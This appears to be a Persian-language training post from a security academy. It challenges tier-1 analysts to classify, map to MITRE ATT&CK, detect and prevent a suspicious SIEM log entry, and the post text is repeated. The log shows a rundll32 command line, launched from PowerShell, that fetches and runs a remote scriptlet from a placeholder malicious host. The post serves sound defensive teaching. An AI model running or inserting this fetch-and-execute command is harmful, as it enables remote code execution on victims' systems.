چالش واسه تحلیلگر سطح ۱
فرض کنید در یک لاگ از SIEM متوجه الگوی زیر شده‌اید:
Parent Process: powershell.exe
Child Process: rundll32.exe
Command Line: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//malicious[.]domain/payload.sct").Run();
❓به‌نظر شما:
1. این تکنیک از چه نوع حمله‌ای استفاده می‌کنه؟
2. کدام دسته از تکنیک‌های MITRE ATT\&CK رو پوشش می‌ده؟
3. چطور می‌تونید این رفتار رو با SIEM یا EDR شناسایی کنید؟
4. چه روش‌هایی برای جلوگیری از اجرای چنین اسکریپت‌هایی پیشنهاد می‌کنید؟
#آکادمی_روزبه
مرکز تخصصی CISSP
فرض کنید در یک لاگ از SIEM متوجه الگوی زیر شده‌اید:
Parent Process: powershell.exe
Child Process: rundll32.exe
Command Line: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//malicious[.]domain/payload.sct").Run();
❓به‌نظر شما:
1. این تکنیک از چه نوع حمله‌ای استفاده می‌کنه؟
2. کدام دسته از تکنیک‌های MITRE ATT\&CK رو پوشش می‌ده؟
3. چطور می‌تونید این رفتار رو با SIEM یا EDR شناسایی کنید؟
4. چه روش‌هایی برای جلوگیری از اجرای چنین اسکریپت‌هایی پیشنهاد می‌کنید؟
#آکادمی_روزبه
مرکز تخصصی CISSP
Comments
Be the first to add a comment
Log in to comment